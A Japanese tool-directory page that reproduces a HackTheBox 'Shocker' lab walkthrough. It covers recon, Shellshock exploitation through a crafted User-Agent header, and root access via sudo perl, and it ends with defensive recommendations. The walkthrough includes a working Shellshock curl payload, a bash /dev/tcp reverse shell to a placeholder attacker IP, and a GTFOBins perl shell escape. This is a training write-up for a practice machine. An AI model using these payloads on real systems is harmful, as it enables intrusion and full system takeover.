Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Shocker-TJNULL-OSCP- — CGIディレクトリのファジングによるShellshock (CVE-2014-6271) の悪用と、GTFOBinsを使用した誤設定されたsudo Perl権限による権限昇格を実演する、構造化されたHTBウォークスルー。 | Kitploit
ツール/GitHubGitHub/r3fr4kt/shocker-tjnull-oscp-
特権昇格偵察脆弱性分析エクスプロイトウェブアプリケーション悪用ポストエクスプロイトペネトレーションテスト学習と教育ラボと実践
GitHubr3fr4kt/shocker-tjnull-oscp-

Shocker-TJNULL-OSCP-

CGIディレクトリのファジングによるShellshock (CVE-2014-6271) の悪用と、GTFOBinsを使用した誤設定されたsudo Perl権限による権限昇格を実演する、構造化されたHTBウォークスルー。

164ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る

HackTheBox: Shocker 攻略記事

構造化されたプロフェッショナルな攻略記事です。Linux ターゲット上で誤って構成された sudo 権限を利用したローカル権限昇格と、その前段階としての重大な Shellshock 脆弱性の特定および手動での悪用プロセスを示します。


技術概要

  • ターゲット OS: Linux
  • IP アドレス: 10.10.10.56
  • 難易度: Easy
  • 主な脆弱性: Shellshock (CVE-2014-6271) および誤って構成された Sudo 権限 (/usr/bin/perl)
  • 目的: CGI 環境変数インジェクションにより初期ユーザーアクセスを獲得し、root へ権限昇格する。

1. 列挙と偵察

この評価は、オープンポートのみを対象とした高速な全ポート TCP SYN スキャンから始まります。ホストディスカバリ (-Pn) と DNS 解決 (-n) をバイパスすることで、フットプリンティングを迅速化します。

nmap -Pn -n -p- -sS --min-rate 5000 --open 10.10.10.56

対象サービスの特定と脆弱性プロファイリング

最初のスキャンにより、2 つのアクティブなサービスが明らかになります。積極的なバージョン検出 (-sCV) とスクリプトベースの脆弱性評価を実行するため、対象を絞った 2 回目のスキャンを実施します:

nmap -sCV -p80,2222 --script="safe and vuln" 10.10.10.56

スキャン結果

  • ポート 80: HTTP(Apache Web サーバー)
  • ポート 2222: SSH(非標準ポート)

2. ディレクトリファジングと Web 列挙

脆弱性スキャンと並行して、gobuster を使用した Web ディレクトリのブルートフォースを開始し、Apache サーバー上の隠れたリソースをマッピングします。SecLists フレームワークの標準ワードリストを活用します:

gobuster dir -u [http://10.10.10.56/](http://10.10.10.56/) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 20

重要な発見

ファジングプロセスにより、インデックス化されていない /cgi-bin/ ディレクトリが特定されます。従来の Web デプロイメントでは、Apache サーバーは Common Gateway Interface(CGI)を利用してサーバーサイドスクリプトを実行します。このマシン名とフォルダの存在を踏まえ、環境変数インジェクションの欠陥の影響を受けやすい実行可能スクリプト(例: .sh、.cgi)を積極的に探します。

さらに列挙を進めると、/cgi-bin/ ディレクトリ内に user.sh という名前のスクリプトが存在することが判明します。


3. 武器化と初期足場

Shellshock のテスト(PoC)

Shellshock(CVE-2014-6271) 脆弱性により、攻撃者は脆弱な Bash インスタンスによって処理される HTTP リクエストヘッダー(User-Agent など)内に悪意のある関数定義を注入することで、任意の OS コマンドを実行できます。

リモートシステムに /usr/bin/id コマンドを強制的に実行させる Proof of Concept(PoC)ペイロードを送信するため、カスタマイズした curl コマンドを作成します:

curl -H "User-Agent: () { :; }; echo; /usr/bin/id" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)

  • 結果: Web サーバーは id コマンドの出力を返し、認証済み相当の未認証 Remote Code Execution(RCE) を検証します。

リバースシェルの確立

実行ベクトルをインタラクティブセッションへ拡張するため、攻撃プラットフォーム上でローカルの Netcat リスナーを起動します:

nc -lvnp 4444

次に、悪意のある User-Agent ヘッダー内にネイティブ Bash リバースシェル文字列を注入し、TCP 経由のコールバックを強制します:

curl -H "User-Agent: () { :; }; echo; /bin/bash -i >& /dev/tcp/<YOUR_TUN0_IP>/4444 0>&1" [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)

実行に成功すると、安定した低権限シェルを取得します:

$ whoami
shelly


4. ローカル権限昇格(LPE)

システム上で機能するユーザーコンテキストを獲得したため、ローカル制限を監査します。sudo 設定を照会し、shelly ユーザーがパスワードを入力せずに昇格した権限でコマンドを実行できるかどうかを確認します:

sudo -l

Sudo 設定の監査

出力により、以下の高リスクエントリが明らかになります:

User shelly may run the following commands on shocker:
    (root) NOPASSWD: /usr/bin/perl

GTFOBins を介した Perl の悪用

perl バイナリを root として無制限かつ認証なしで実行できるため、バイナリの制限を簡単に回避できます。GTFOBins を参照すると、実行 ID コンテキスト(root)を維持したまま Perl がネイティブなシステムシェル(/bin/sh)にドロップするよう指示する実行ラッパーが見つかります:

sudo -u root perl -e 'exec "/bin/sh"'

すぐに完全な管理者実行コンテキストを取得します:

# whoami
root


5. ポストエクスプロイテーションと戦利品の収集

root アクセスが確立されたので、関連するホームディレクトリへ移動し、侵害の証明を取得します。

# Access User Flag
cat /home/shelly/user.txt

# Access Root Flag
cat /root/root.txt


主な教訓と防御に関する推奨事項

  1. 本質的に脆弱なソフトウェアにパッチを適用する: Shellshock は GNU Bash における過去の壊滅的な脆弱性です。基盤となるユーティリティに対し、すべてのサーバーコンポーネントへ積極的なセキュリティパッチを適用してください。
  2. CGI 環境を保護する: CGI スクリプトを維持する必要がある場合は、分離されたサンドボックス実行モデル(専用のコンテナランタイムや chroot 環境の使用など)で実行されるようにし、時代遅れで脆弱なデフォルトシェルの使用を避けてください。
  3. 厳格な最小権限の原則を適用する: 標準ユーザーに sudo 経由で perl、python、bash などの強力な組み込みインタープリタを無制限に実行する権限を与えると、即座に権限昇格のベクトルが生まれます。Sudo アクセスは、非対話型で高度に制御された管理スクリプトに限定する必要があります。
ツールをダウンロード